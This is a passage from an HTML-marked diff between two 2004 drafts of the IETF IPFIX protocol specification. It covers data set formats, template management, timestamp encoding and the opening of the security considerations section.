   |Record 2 - Option Field 2 Value|             ...               |=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |   Record 3 - Scope 1 Value    |   Record 3 - Scope 2 Value    |=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |              ...              |Record 3 - Option Field 1 Value|=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |Record 3 - Option Field 2 Value|             ...               |=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   |              ...              |         Padding (opt)         |=20
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   =20
      <strong><font color=3Dgreen>Figure K: Data Set format, containing O=
ptions Data Records</font></strong> =20
   =20
   Options Data Records of the Data <strike><font color=3Dred>FlowSet</fo=
nt></strike> <strong><font color=3Dgreen>Set</font></strong> Field Descri=
ptions =20
   =20
   <strike><font color=3Dred>FlowSet</font></strike> =20
   =20
   <strong><font color=3Dgreen>Set</font></strong> ID =3D Template ID=20
           A <strike><font color=3Dred>FlowSet</font></strike> <strong><f=
ont color=3Dgreen>Set</font></strong> ID precedes each group of Options D=
ata Records within=20
           a Data <strike><font color=3Dred>FlowSet.</font></strike> <str=
ong><font color=3Dgreen>Set.</font></strong>  The <strike><font color=3Dr=
ed>FlowSet</font></strike> <strong><font color=3Dgreen>Set</font></strong=
> ID maps to a previously generated=20
           Template ID corresponding to this Options Template Record. =20
           The Collecting Process MUST use the <strike><font color=3Dred>=
FlowSet</font></strike> <strong><font color=3Dgreen>Set</font></strong> I=
D to map the=20
           appropriate type and length to any field values that follow.=20
           =20
   Length=20
           The length of this <strike><font color=3Dred>FlowSet.  =20


=20
=20
 Claise, et. al             Standard Track                   [Page 31]=20
=0C                   IPFIX Protocol Specifications             July 2004=
</font></strike> <strong><font color=3Dgreen>Set.</font></strong>   =20
           Length is the sum of the lengths of the <strike><font color=3D=
red>FlowSet</font></strike> <strong><font color=3Dgreen>Set</font></stron=
g> ID, Length=20
           itself, all the Options Data Records within this <strike><font=
 color=3Dred>FlowSet,</font></strike> <strong><font color=3Dgreen>Set,</f=
ont></strong> and=20
           the padding bytes, if any.=20
           =20
   Record N - Option Field M Value=20
           The remainder of the Data <strike><font color=3Dred>FlowSet</f=
ont></strike> <strong><font color=3Dgreen>Set</font></strong> is a collec=
tion of Flow=20
           Records, each containing a set of <strike><font color=3Dred>sc=
ope</font></strike> <strong><font color=3Dgreen>Scope</font></strong> and=
 <strike><font color=3Dred>field values.</font></strike> <strong><font co=
lor=3Dgreen>Field Values.</font></strong> =20
           The type and length of the fields were previously defined in=20
           the Options Template Record referenced by the <strike><font co=
lor=3Dred>FlowSet</font></strike> <strong><font color=3Dgreen>Set</font><=
/strong> ID or=20
           Template ID.=20
           =20
   Padding =20
           The Exporting Process MAY insert some padding bytes, so that=20
           the subsequent <strike><font color=3Dred>FlowSet</font></strik=
e> <strong><font color=3Dgreen>Set</font></strong> starts at an aligned b=
oundary.  Padding=20
           MUST be composed of zero (0) <strike><font color=3Dred>bits.</=
font></strike> <strong><font color=3Dgreen>bytes.</font></strong>  The pa=
dding length MUST=20
           be shorter than <strike><font color=3Dred>one</font></strike> =
<strong><font color=3Dgreen>any allowable</font></strong> Options Data <s=
trike><font color=3Dred>Record.</font></strike> <strong><font color=3Dgre=
en>Record in this=20
           Data Set.</font></strong>  It is important to note that the Le=
ngth field=20
           includes the padding bits.=20
=20
=20
  <strong><font color=3Dgreen>Claise, et. al            Standard Track   =
                [Page 31]=20
                   IPFIX Protocol Specification            August 2004</f=
ont></strong>=20
=20
=20
           =20
   The Data <strike><font color=3Dred>FlowSet</font></strike> <strong><fo=
nt color=3Dgreen>Set</font></strong> format can be interpreted only if th=
e Options Template <strike><font color=3Dred>FlowSet</font></strike>=20
   <strong><font color=3Dgreen>Set</font></strong> corresponding to the T=
emplate ID is available at the Collecting=20
   Process.=20
   =20
 8.     Specific Reporting Requirements=20
   =20
   Some specific Options Templates and Options Templates Records are=20
   necessary to provide extra information about the Flow Records and=20
   about the Metering Process.  =20
   =20
   The ipfixOption <strong><font color=3Dgreen>Field</font></strong> [IPF=
IX-INFO], always included in these=20
   specific Options Templates, defines the type of information sent in=20
   the Option Template / Option Template Record pair.  For example, if=20
   the ipfixOption [IPFIX-INFO] value is METER_STATS, then the Option=20
   Template will specify information about the Metering Process=20
   statistics.  The ipfixOption [IPFIX-INFO] MUST always be the first <st=
rike><font color=3Dred>Data=20
 Type</font></strike>=20
   <strong><font color=3Dgreen>Information Element</font></strong> in the=
 Option Template so that the Collector <strike><font color=3Dred>could</f=
ont></strike> <strong><font color=3Dgreen>can</font></strong>=20
   quickly determine whether or not a specific Option Template is=20
   described.  And if the ipfixOption [IPFIX-INFO] is present, which=20
   specific Option Template type it defines.=20
    =20
   The minimum set of <strike><font color=3Dred>Data Types</font></strike=
> <strong><font color=3Dgreen>Information Elements</font></strong> is alw=
ays specified in these=20
   Specific IPFIX Options Templates.  Nevertheless, extra <strike><font c=
olor=3Dred>Data Types</font></strike> <strong><font color=3Dgreen>Informa=
tion=20
   Elements</font></strong> MAY be used in these specific Options Templat=
es. =20
=20
=20
 <strike><font color=3Dred>Claise, et. al             Standard Track     =
              [Page 32]=20
=0C                   IPFIX Protocol Specifications             July 2004=
</font></strike>  =20
   =20
 8.1      The Metering Process Statistics Option Template=20
=20
   The Metering Process Statistics Option Template defines the Metering=20
   Process Statistics with the export of the following <strike><font colo=
r=3Dred>Data Types [IPFIX-
 INFO]:</font></strike> <strong><font color=3Dgreen>Information=20
   Elements [IPFIX-INFO]:</font></strong>=20
       ipfixOption             The value MUST be METER_STATS=20
       observationDomain       Source ID=20
       lostFlows               <strike><font color=3Dred>flows</font></st=
rike>               <strong><font color=3Dgreen>Flows</font></strong> not=
 exported due to resource  =20
                               starvation=20
     <strike><font color=3Dred>lostFlowsPacket</font></strike>=20
       <strong><font color=3Dgreen>lostFlowsPackets</font></strong>      =
   Packets in the lost <strike><font color=3Dred>flows</font></strike> <s=
trong><font color=3Dgreen>Flows</font></strong>=20
       lostFlowsBytes          Bytes in the lost <strike><font color=3Dre=
d>flows</font></strike> <strong><font color=3Dgreen>Flows</font></strong>=
 =20
       droppedPacketCount      Packets dropped by Metering Process =20
                           at the Observation Point=20
   droppedByteCount        Bytes dropped by Metering Process at the =20
                                Observation Domain=20
        time;                   When this record was generated=20
   =20
=20
=20
  <strong><font color=3Dgreen>Claise, et. al            Standard Track   =
                [Page 32]=20
                   IPFIX Protocol Specification            August 2004</f=
ont></strong>=20
=20
=20
   The minimum set of <strike><font color=3Dred>Data Type</font></strike>=
 <strong><font color=3Dgreen>Information Element</font></strong> in the M=
etering Process=20
   Statistics Option Template is: ipfixOption, observationDomain,=20
   lostFlows, time=20
=20
 9.     Export Packet "Export Time" Computation and Flow Record Time=20
   =20
 9.1      Microsecond Precision=20
   =20
   For a Data <strike><font color=3Dred>FlowSet</font></strike> <strong><=
font color=3Dgreen>Set</font></strong> with Flow Records requiring micros=
econd precision,=20
   the Export Packet "Export Time" field MUST be calculated so that=20
   each Flow Records flowStartUsec [IPFIX-INFO] and flowEndUsec=20
    <strike><font color=3Dred>[IPFIX-INFO]</font></strike> <strong><font =
color=3Dgreen>[IPFIX-
   INFO]</font></strong> would contain a 32 bit signed microsecond offset=
 from the=20
   "Export Time" base timestamp.  Hereafter some pseudo code to=20
   calculate the Export Time in one pass, which would return an=20
   absolute duration of 35 minutes for all Flow Records contained in=20
   the Data <strike><font color=3Dred>FlowSet.</font></strike> <strong><f=
ont color=3Dgreen>Set.</font></strong>  Flow Records MUST be exported in =
different Export=20
   Packet if the absolute duration can not fit in those 35 minutes.=20
   =20
   //  pseudo code for microsecond offset in IPFIX encoded Flow=20
   Records.=20
   //=20
   =20
      struct flow{=20
         uint32  tv_sec;=20
         uint32  tv_usec;=20
         uint32  numbytes;=20
         ...  // other <strike><font color=3Dred>information elements...=20
      };=20
   =20
=20
=20
 Claise, et. al             Standard Track                   [Page 33]=20
=0C                   IPFIX Protocol Specifications             July 2004=
</font></strike> <strong><font color=3Dgreen>Information Elements...=20
      };</font></strong>=20
   =20
      struct flow flowtable [MAX_TABLE_SIZE];=20
      int lastflowindex =3D -1;=20
   =20
      writeflows() {=20
         if (lastflowindex &lt; 0) return;=20
         // simply take the second field from the first available flow=20
   // and make this the base time for this collection of flows.  uint32 =20
   base_sec =3D flowtable[0].tv_sec;=20
         writeheaderToSocket(base_sec); // put 32-bit second value in=20
   header=20
         for (int i=3D0; i&lt;=3Dlastflowindex; i++){=20
            int32 offset =3D (flowtable[i].tv_sec - base_sec) * 1000000 +=
=20
   flowtable[i].tv_usec;=20


=20
=20
  <strong><font color=3Dgreen>Claise, et. al            Standard Track   =
                [Page 33]=20
                   IPFIX Protocol Specification            August 2004</f=
ont></strong>=20
=20
=20
            writeint32ToSocket(offset);  // put the 32-bit time offset=20
   in the record.=20
            // write other <strike><font color=3Dred>information elements=
...</font></strike> <strong><font color=3Dgreen>Information Elements...</=
font></strong>=20
         }=20
      }=20
   =20
   A two pass approach calculation for the optimum (center) "Export=20
   Time" base timestamp would allow an absolute duration of 71 minutes=20
   for all Flow Records contained in the Data <strike><font color=3Dred>F=
lowSet.</font></strike> <strong><font color=3Dgreen>Set.</font></strong> =
 The two pass=20
   approach MAY be used.  =20
   =20
   The "Export Time" base timestamp calculation requires that at the=20
   Export Packet exporting time the Exporting Process MUST run down the=20
   list of Flow Records in the Data <strike><font color=3Dred>FlowSet</fo=
nt></strike> <strong><font color=3Dgreen>Set</font></strong> message and =
adjust the Flow=20
   start and Flow end timestamps.=20
   =20
 9.2      Millisecond Precision=20
   =20
   For a Data <strike><font color=3Dred>FlowSet</font></strike> <strong><=
font color=3Dgreen>Set</font></strong> with Flow Records requiring a mill=
isecond precision,=20
   the same principles as in section 10.1 "Microsecond Precision" will=20
   be used.  =20
   =20
   The only difference will be that the Flow start and the Flow end=20
   SHOULD now be represented respectively by the flowStartMsec [IPFIX-
   INFO] and flowEndMsec [IPFIX-INFO].  As a consequence of the=20
   millisecond precision, the absolute duration of all Flow Records is=20
   now of about 49 days.  The Export Header "Export Time" base time=20
   SHOULD be calculated with the algorithm described in the Section=20
   10.1 "Microsecond Precision".  In order to reduce the load on the=20
   Exporter, the Export Header "Export Time" MAY be the time in seconds=20
=20
=20
 <strike><font color=3Dred>Claise, et. al             Standard Track     =
              [Page 34]=20
=0C                   IPFIX Protocol Specifications             July 2004=
</font></strike>=20
   since 0000 UTC 1970 at which the Export Packet leaves the Exporter=20
   and not the calculated optimum value anymore as described in section=20
   10.1 "Microsecond Precision".=20
   =20
   Alternatively, for a Data <strike><font color=3Dred>FlowSet</font></st=
rike> <strong><font color=3Dgreen>Set</font></strong> with Flow Records r=
equiring a=20
   millisecond precision, the microsecond mechanism as described in=20
   section 10.1 MAY be used as such.  The Flow Record MAY use the=20
   flowStartUsec [IPFIX-INFO] and flowEndUsec [IPFIX-INFO] rounded at a=20
   millisecond precision.  =20
   =20
 9.3      Nanosecond Precision=20
   =20

=20
=20
  <strong><font color=3Dgreen>Claise, et. al            Standard Track   =
                [Page 34]=20
                   IPFIX Protocol Specification            August 2004</f=
ont></strong>=20
=20
=20
   For a Data <strike><font color=3Dred>FlowSet</font></strike> <strong><=
font color=3Dgreen>Set</font></strong> with Flow Records requiring a nano=
second precision,=20
   all Flow Records will contain Flow start flowStartNsec [IPFIX-INFO]=20
   and flowEndNsec [IPFIX-INFO].  The Export Header "Export Time" will=20
   be of no use on the Collector side in this case as the flowStartNsec=20
   [IPFIX-INFO] and flowEndNsec [IPFIX-INFO] both have a nanosecond=20
   precision already.  Both flowStartNsec [IPFIX-INFO] and flowEndNsec=20
   [IPFIX-INFO] use the NTP time format which is represented as a <strike=
><font color=3Dred>64-bit</font></strike> <strong><font color=3Dgreen>64-
   bit</font></strong> value which contains a 32-bit specification of sec=
onds since=20
   1900 and a 32-bit "fraction" field.   Refer to the NTP=20
   specification, RFC1305, section 3.1 "Data Formats".=20
   =20
 9.4      Multiple Precisions=20
    =20
   When Flow Records requiring different precisions must be exported,=20
   the Exporting Process SHOULD split the Flow Records in different=20
   Data <strike><font color=3Dred>FlowSet</font></strike> <strong><font c=
olor=3Dgreen>Set</font></strong> according to the precision:  millisecond=
, microsecond or=20
   nanosecond.=20
   =20
 10.      Linkage with the Information Model=20
=20
   The information model associates each IPFIX <strike><font color=3Dred>=
Data Type</font></strike> <strong><font color=3Dgreen>Information Element=
</font></strong> with=20
   a well defined type, such as hexBinary, long, unsignedInt, etc.=20
   This document defines how fields of a given type are encoded.=20
   =20
 10.1       Boolean=20
=20
   A boolean field shall be encoded in a single byte with the value of=20
   0 indicating false and any other value indicating true.=20
   =20
 10.2       Byte=20
=20
=20
=20
 <strike><font color=3Dred>Claise, et. al             Standard Track     =
              [Page 35]=20
=0C                   IPFIX Protocol Specifications             July 2004=
</font></strike>=20
=20
   A byte value shall be encoded as a single byte representing a value=20
   between -128 and 127.  The value is represented in two's complement=20
   notation.  =20
   =20
 10.3       UnsignedByte=20
=20
   An unsigned byte value shall be encoded as a single byte=20
   representing a value between 0 and 255.=20
   =20
 10.4       Short=20
=20


=20
=20
  <strong><font color=3Dgreen>Claise, et. al            Standard Track   =
                [Page 35]=20
                   IPFIX Protocol Specification            August 2004</f=
ont></strong>=20
=20
=20
   A short is a 16-bit datum that encodes an integer in the range [-
   32768,32767].  The short is represented in two's complement=20
   notation. =20
   <strike><font color=3Dred>The most and least significant bytes are 0 a=
nd 1, respectively.</font></strike>=20
   =20
 10.5       Reduced Size Encoding of <strike><font color=3Dred>Integral</=
font></strike> <strong><font color=3Dgreen>Integer</font></strong> Types=20
=20
   Information Elements containing <strike><font color=3Dred>integral</fo=
nt></strike> <strong><font color=3Dgreen>integer</font></strong> types in=
 the information=20
   model MAY be encoded using fewer bytes than those implied by their=20
   type in the information model definition [IPFIX-INFO], based on the=20
   assumption that the smaller type is sufficient to carry any value=20
   the Exporter may need to deliver.  This reduces the network=20
   bandwidth requirement between the Exporter and the Collector.  Note=20
   that the=20
   <strike><font color=3Dred>information model Data Types</font></strike>=
 <strong><font color=3Dgreen>Information Elements</font></strong> definit=
ion [IPFIX-INFO] will always=20
   define the maximum encoding <strike><font color=3Dred>size for each Da=
ta Type.</font></strike> <strong><font color=3Dgreen>size.</font></strong=
>=20
   =20
   For instance the information model [IPFIX-INFO] defines byteCount as=20
   an unsignedLong type, which would require 64-bits.   However if the=20
   <strike><font color=3Dred>exporter</font></strike>=20
   <strong><font color=3Dgreen>Exporter</font></strong> will never locall=
y encounter the need to send a value=20
   larger than 4294967295, it may chose to send the value instead as an=20
   unsignedInt.  For example, a core router would require an=20
   unsignedLong byteCount while an unsignedInt might be sufficient for=20
   an access router.=20
   =20
   This behavior is indicated by the Exporter by specifying a type size=20
   smaller than that associated with the assigned type of the field. =20
   In the example above the Exporter would place a length of 4 <strike><f=
ont color=3Dred>vs.</font></strike> <strong><font color=3Dgreen>versus</f=
ont></strong> 8=20
   in the template.=20
   =20
   <strike><font color=3Dred>Reduced</font></strike>=20
   =20
   <strong><font color=3Dgreen>If reduced</font></strong> sizing <strike>=
<font color=3Dred>MAY only</font></strike> <strong><font color=3Dgreen>is=
 used, it MUST</font></strong> be applied <strong><font color=3Dgreen>onl=
y</font></strong> to <strike><font color=3Dred>the</font></strike> follow=
ing <strike><font color=3Dred>integral</font></strike>=20
   <strong><font color=3Dgreen>integer</font></strong> types: =20
   <strike><font color=3Dred>short, unsignedShort, int, unsignedInt,</fon=
t></strike> <strong><font color=3Dgreen>unsignedLong,</font></strong> lon=
g, <strike><font color=3Dred>unsignedLong.</font></strike> <strong><font =
color=3Dgreen>unsignedInt, int, unsignedShort,=20
   short.</font></strong>  In each case the downcasting <strike><font col=
or=3Dred>must</font></strike> <strong><font color=3Dgreen>MUST</font></st=
rong> be to a smaller <strike><font color=3Dred>integral type which MUST=20
   have the</font></strike> <strong><font color=3Dgreen>integer=20
   type.  The</font></strong> same signed <strike><font color=3Dred>vs.</=
font></strike> <strong><font color=3Dgreen>versus</font></strong> unsigne=
d <strike><font color=3Dred>properties.=20

=20
=20
 Claise, et. al             Standard Track                   [Page 36]=20
=0C                   IPFIX Protocol Specifications             July 2004=
</font></strike> <strong><font color=3Dgreen>properties MUST be preserved=
.</font></strong>=20
   Specifically unsignedLong may be downcast to unsignedInt,=20
   unsignedShort or unsignedByte.  A long may be downcast to an <strike><=
font color=3Dred>int</font></strike> <strong><font color=3Dgreen>int,</fo=
nt></strong> a=20
   short or a byte.  The other downcasts follow the same pattern.=20
   =20
 11.      Variable Length <strike><font color=3Dred>Data Type</font></str=
ike> <strong><font color=3Dgreen>Information Element</font></strong>=20
=20
   The IPFIX template mechanism is optimized for fixed length=20
   Information Elements [IPFIX-INFO].  Where an Information Element has=20
   a variable length the following mechanism MUST used to carry the=20
   length <strike><font color=3Dred>information.</font></strike> <strong>=
<font color=3Dgreen>information, for both the IETF and proprietary Inform=
ation=20
   Elements.=20

=20
=20
  Claise, et. al            Standard Track                   [Page 36]=20
                   IPFIX Protocol Specification            August 2004</f=
ont></strong>=20
=20
=20
   =20
   In the Template <strike><font color=3Dred>FlowSet</font></strike> <str=
ong><font color=3Dgreen>Set</font></strong> the length is recorded as 655=
35.  This reserved=20
   length value notifies the Collecting Process that length of the=20
   Information Element will be carried in the Information Element=20
   <strong><font color=3Dgreen>content</font></strong> itself.=20
   =20
   In most cases the length of the Information Element will be less=20
   than 256 bytes.  The following length encoding mechanism optimizes=20
   the overhead of carrying the Information Element length in this=20
   majority case.=20
   =20
   If the length of the Information Element is less than 255 bytes, the=20
   length is carried in the first byte of the Information <strike><font c=
olor=3Dred>Element. This=20
   is</font></strike> <strong><font color=3Dgreen>Element, as</font></str=
ong>=20
   shown on Figure <strike><font color=3Dred>A.</font></strike> <strong><=
font color=3Dgreen>L.</font></strong>=20
       0                   1                   2                   3=20
       0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1=20
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
      | Length (&lt; 255)|          Information element                  =
|=20
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
      |                      ... continuing as needed                 |=20
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   =20
     Figure <strike><font color=3Dred>A:</font></strike> <strong><font co=
lor=3Dgreen>L:</font></strong> Variable Length Information Element (lengt=
h &lt; 255 bytes)=20
   =20
   If the length of the Information Element is greater or equal than=20
   256 bytes, the first byte of the Information Element is 255, and the=20
   length is carried in the second and third bytes of the Information=20
   <strike><font color=3Dred>Element. This is</font></strike>=20
   <strong><font color=3Dgreen>Element, as</font></strong> shown in Figur=
e <strike><font color=3Dred>B.</font></strike> <strong><font color=3Dgree=
n>M.</font></strong>=20
       0                   1                   2                   3=20
       0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1=20

=20
=20
 <strike><font color=3Dred>Claise, et. al             Standard Track     =
              [Page 37]=20
=0C                   IPFIX Protocol Specifications             July 2004=
</font></strike>=20
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
      |      255      |        Length (256 to 65535)       |   IE     |=20
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
      |                      ... continuing as needed                 |=20
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
   =20
      Figure <strike><font color=3Dred>B:</font></strike> <strong><font c=
olor=3Dgreen>M:</font></strong> Variable Length Information Element =20
               (length 256 to 65535) bytes=20
   =20
 12.      Template Management=20
=20
   Flow Data <strike><font color=3Dred>records</font></strike> <strong><f=
ont color=3Dgreen>Records</font></strong> that correspond to a Template R=
ecord MAY appear in=20
   the same and/or subsequent IPFIX Messages.  The Template Record is=20
=20
=20
  <strong><font color=3Dgreen>Claise, et. al            Standard Track   =
                [Page 37]=20
                   IPFIX Protocol Specification            August 2004</f=
ont></strong>=20
=20
=20
   not necessarily carried in every IPFIX Message.  As such, the=20
   Collecting Process MUST store the Template Record to interpret the=20
   corresponding Flow Data Records that are received in subsequent data=20
   messages.=20
   =20
   A Collecting Process that receives IPFIX Messages from several=20
   Observation Domains from the same Exporter MUST be aware that the=20
   uniqueness of the Template ID is not guaranteed across Observation=20
   Domains.=20
   =20
   The Template IDs must remain constant for the life of the Metering=20
   Process and the Exporting Process.  If the Exporting Process or the=20
   Metering Process restarts for any reason, all information about=20
   Templates will be lost and new Template IDs will be created. =20
   Template IDs are thus not guaranteed to be consistent across an=20
   Exporting Process or Metering Process restart.=20
           =20
   <strong><font color=3Dgreen>If the measurement parameters change, a ne=
w Template ID SHOULD be=20
   initiated and used. Examples of the measurement changes are: a new=20
   sampling rate, a new flow expiration process, a new filtering=20
   definitions, etc...</font></strong> A newly created Template <strike><=
font color=3Dred>record</font></strike> <strong><font color=3Dgreen>Recor=
d</font></strong> is assigned an=20
   unused Template ID=20
   <strike><font color=3Dred>from</font></strike> <strong><font color=3Dg=
reen>by</font></strong> the Exporter.  If the template configuration=20
   is changed, the current Template ID is abandoned and SHOULD NOT be <st=
rike><font color=3Dred>reused until the=20
   Metering Process.</font></strike>=20
   <strong><font color=3Dgreen>reused.</font></strong>  If a Collecting P=
rocess should receive a new definition for=20
   an already existing Template ID, it MUST discard the previous=20
   template definition and use the new one.=20
   =20
   If a configured Template Record on the Exporting Process is deleted,=20
   and re-configured with exactly the same parameters, the same=20
   Template ID COULD be reused.=20
   =20
   The Exporting Process sends the Template <strike><font color=3Dred>Flo=
wSet</font></strike> <strong><font color=3Dgreen>Set</font></strong> and =
Options Template <strike><font color=3Dred>FlowSet</font></strike>=20
   <strong><font color=3Dgreen>Set</font></strong> under <strike><font co=
lor=3Dred>the following conditions:=20
=20
=20
 Claise, et. al             Standard Track                   [Page 38]=20
=0C                   IPFIX Protocol Specifications             July 2004=
</font></strike> <strong><font color=3Dgreen>the following conditions:</f=
ont></strong>=20
   =20
    1. After a Metering Process restarts, the Exporting Process MUST=20
       NOT send any Data <strike><font color=3Dred>FlowSet</font></strike=
> <strong><font color=3Dgreen>Set</font></strong> without sending the cor=
responding Template <strike><font color=3Dred>FlowSet</font></strike>=20
       <strong><font color=3Dgreen>Set</font></strong> and the required O=
ptions Template <strike><font color=3Dred>FlowSet</font></strike> <strong=
><font color=3Dgreen>Set</font></strong> in a previous message=20
       or including it in the same IPFIX Message.  It MAY transmit the=20
       Template <strike><font color=3Dred>FlowSet</font></strike> <strong=
><font color=3Dgreen>Set</font></strong> and Options Template <strike><fo=
nt color=3Dred>FlowSet,</font></strike> <strong><font color=3Dgreen>Set,<=
/font></strong> without any Data <strike><font color=3Dred>FlowSets,</fon=
t></strike> <strong><font color=3Dgreen>Sets,</font></strong> in=20
       advance to help ensure that the Collector will have the correct=20
       Template Record before receiving the first Flow or Options Data=20
       Record.=20
    =20
=20
=20
  <strong><font color=3Dgreen>Claise, et. al            Standard Track   =
                [Page 38]=20
                   IPFIX Protocol Specification            August 2004</f=
ont></strong>=20
=20
=20
    2. In the event of configuration changes, the Exporting Process=20
       SHOULD send the new template definitions at an accelerated rate. =20
       In such a case, it MAY transmit the changed Template Record(s)=20
       and Options Template Record(s), without any data, in advance to=20
       help ensure that the Collector will have the correct template=20
       information before receiving the first data.=20
    =20
    3. If the Template Records and Options Template Records are sent=20
       using a transport protocol that is not fully reliable they MUST=20
       be refreshed on a regular basis by the Exporting Process which=20
       MUST re-send all the Template Records and Options Template=20
       Records to the Collecting Process.=20
    =20
 13.      The Collecting Process's Side=20
   =20
   The Collecting Process receives Template Records from the Exporting=20
   Process, normally before receiving Flow Data Records (or Options=20
   Data Records).  The Flow Data Records (or Options Data Records) can=20
   then be decoded and stored locally on the devices.  If the Template=20
   Records have not been received at the time Flow Data Records (or=20
   Options Data Records) are received, the Collecting Process SHOULD=20
   store the Flow Data Records (or Options Data Records) and decode=20
   them after the Template Records are received.  A Collecting Process=20
   device MUST NOT assume that the Data <strike><font color=3Dred>FlowSet=
</font></strike> <strong><font color=3Dgreen>Set</font></strong> and the =
associated Template <strike><font color=3Dred>FlowSet</font></strike>=20
   <strong><font color=3Dgreen>Set</font></strong> (or Options Template <=
strike><font color=3Dred>FlowSet)</font></strike> <strong><font color=3Dg=
reen>Set)</font></strong> are exported in the same IPFIX=20
   Message.=20
   =20
   The Collecting Process MUST NOT assume that one and only one=20
   Template <strike><font color=3Dred>FlowSet</font></strike> <strong><fo=
nt color=3Dgreen>Set</font></strong> is present in an IPFIX Message.  =20
   =20
   The life of a template at the Collecting Process is limited to a=20
   fixed refresh timeout.  Templates not refreshed from the Exporting=20
   Process within the timeout are expired at the Collecting Process.=20
=20
=20
 <strike><font color=3Dred>Claise, et. al             Standard Track     =
              [Page 39]=20
=0C                   IPFIX Protocol Specifications             July 2004=
</font></strike> =20
   The Collecting Process MUST NOT attempt to decode the Flow or=20
   Options Data Records with an expired Template.  At any given time=20
   the Collecting Process SHOULD maintain the following for all the=20
   current Template Records and Options Template Records: &lt;Exporting=20
   Process, Observation Domain, Template ID, Template Definition, Last=20
   Received&gt;=20
   Note that the Observation Domain is identified by the Source ID=20
   field from the IPFIX Message.=20
   =20

=20
=20
  <strong><font color=3Dgreen>Claise, et. al            Standard Track   =
                [Page 39]=20
                   IPFIX Protocol Specification            August 2004</f=
ont></strong>=20
=20
=20
   Template IDs are unique per Exporting Process and per Observation=20
   Domain.=20
   =20
   If the Collecting Process receives a new Template Record (for=20
   example, in the case of an Exporter restart) it MUST immediately=20
   override the existing Template Record.=20
   =20
   The Collecting Process MUST note the Field ID of any Information=20
   Element that it does not understand and MAY discard the Information=20
   Element from the Flow Record.  The Collecting Process MUST note the=20
   size and position of any Vendor Specified Information Element that=20
   it does not understand and discard the Information Element from the=20
   Flow Record.=20
   =20
   The Collector MUST accept padding in the Data <strike><font color=3Dre=
d>FlowSet</font></strike> <strong><font color=3Dgreen>Set</font></strong>=
 and Options=20
   Template <strike><font color=3Dred>FlowSet,</font></strike> <strong><f=
ont color=3Dgreen>Set,</font></strong> which means for the Flow Data Reco=
rds, the Options=20
   Data Records and the Template Records.=20
   Refer to the terminology summary table in Section 3.1.=20
   =20
   The IPFIX protocol has a sequence number field in the Export Header=20
   which increases with each IPFIX <strike><font color=3Dred>message.</fo=
nt></strike> <strong><font color=3Dgreen>Message.</font></strong>  A Coll=
ector may detect out=20
   of sequence, dropped, or duplicate messages by tracking the sequence=20
   number.  A collector SHOULD provide a logging mechanism for tracking=20
   out of sequence messages.  Such out of sequence messages may be due=20
   to congestion on the network link between the Exporter and=20
   Collector, Collector resource exhaustion where it can not process=20
   the IPFIX <strike><font color=3Dred>messages</font></strike> <strong><=
font color=3Dgreen>Messages</font></strong> at their arrival rate, Export=
er resource=20
   exhaustion where it can not transmit messages at their creation=20
   rate, out of order packet reception, duplicate packet reception, an=20
   Exporting Process reset, or an attacker injecting false messages.=20
   =20
 14.      Security Considerations=20
=20
   Because IPFIX can be used to collect billing information and network=20
   forensics, confusing or blinding IPFIX must be seen as a prime =20
=20
=20
 <strike><font color=3Dred>Claise, et. al             Standard Track     =
              [Page 40]=20
=0C                   IPFIX Protocol Specifications             July 2004=
</font></strike> =20
   objective during a sophisticated network attack.  =20
   =20
   If an attacker is in a position to inject false messages into an=20
   IPFIX <strike><font color=3Dred>message</font></strike> <strong><font =
color=3Dgreen>Message</font></strong> stream this will allow them to send=
 forged <strike><font color=3Dred>flow=20
   records, options,</font></strike> <strong><font color=3Dgreen>Flow Dat=
a=20
   Records, Options Data Records,</font></strong> or <strike><font color=3D=
red>templates.</font></strike> <strong><font color=3Dgreen>Templates.</fo=
nt></strong>  Forged <strike><font color=3Dred>templates</font></strike> =
<strong><font color=3Dgreen>Templates</font></strong> may=20
   impair the Collectors ability to process any further Flow Records. =20
   Forged Flow Records would have a direct effect on the application=20
   using the Flows, for example a billing system may generate incorrect=20
=20
=20
  <strong><font color=3Dgreen>Claise, et. al            Standard Track   =
                [Page 40]=20
                   IPFIX Protocol Specification            August 2004</f=
ont></strong>=20
=20
=20
   billing information.  Forged options may be able to alter the=20
   meaning of <strike><font color=3Dred>flow=20
   records,</font></strike> <strong><font color=3Dgreen>Flow Records,</fo=
nt></strong> for example if the sample rate is changed.  =20
   =20
   The IPFIX <strike><font color=3Dred>messages</font></strike> <strong><=
font color=3Dgreen>Messages</font></strong> themselves may contain inform=
ation of value to an=20
   attacker, and thus care must be taken to confine their visibility to=20
   authorized users.  =20
   =20
   IPFIX <strike><font color=3Dred>messages</font></strike> <strong><font=
 color=3Dgreen>Messages</font></strong> can be secured using IPsec.  Alte=
rnatively if IPFIX=20
   runs on top of SCTP or <strike><font color=3Dred>TCP</font></strike> <=
strong><font color=3Dgreen>TCP,</font></strong> TLS [TLS] can be used.=20
   =20
 14.1       IPsec Usage=20
   =20
